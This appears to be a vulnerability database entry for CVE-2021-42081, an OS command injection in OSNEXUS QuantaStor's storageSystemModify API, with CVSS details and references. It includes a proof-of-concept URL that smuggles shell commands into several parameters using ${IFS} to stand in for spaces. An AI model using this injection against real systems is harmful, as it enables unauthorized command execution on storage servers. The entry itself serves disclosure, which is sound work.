CVE-2021-42081

An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al

CVSS v3 9.1 CRITICAL

9.1^/10

CVSS v3 : CRITICAL

Vector :

Exploitability : 2.3 / Impact : 6.0

Attack Vector NETWORK

Attack Complexity LOW

Privileges Required HIGH

User Interaction NONE

Confidentiality Impact HIGH

Integrity Impact HIGH

Availability Impact HIGH

Scope CHANGED

References

Link	Resource
https://csirt.divd.nl/CVE-2021-42081	Third Party Advisory
https://csirt.divd.nl/DIVD-2021-00020/
https://www.osnexus.com/products/software-defined-storage	Product
https://www.wbsec.nl/osnexus	Third Party Advisory
https://csirt.divd.nl/CVE-2021-42081	Third Party Advisory
https://www.divd.nl/DIVD-2021-00020
https://www.osnexus.com/products/software-defined-storage	Product
https://www.wbsec.nl/osnexus	Third Party Advisory

Configurations

Configuration 1 (hide)

cpe:2.3:a:osnexus:quantastor:*:*:*:*:*:*:*:*

History

No history.

Information

Published : 2023-07-10 16:15

Updated : 2025-09-22 07:15

NVD link : CVE-2021-42081

Mitre link : CVE-2021-42081

CVE.ORG link : CVE-2021-42081

JSON object : View

Products Affected

osnexus

quantastor

CWE

CWE-78

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

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